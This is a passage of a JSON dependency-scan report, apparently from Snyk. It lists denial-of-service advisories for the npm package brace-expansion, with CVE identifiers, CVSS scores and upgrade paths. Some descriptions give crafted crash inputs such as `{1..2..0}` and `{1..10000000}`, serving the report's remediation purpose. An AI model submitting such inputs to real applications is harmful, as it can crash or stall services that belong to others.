to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": 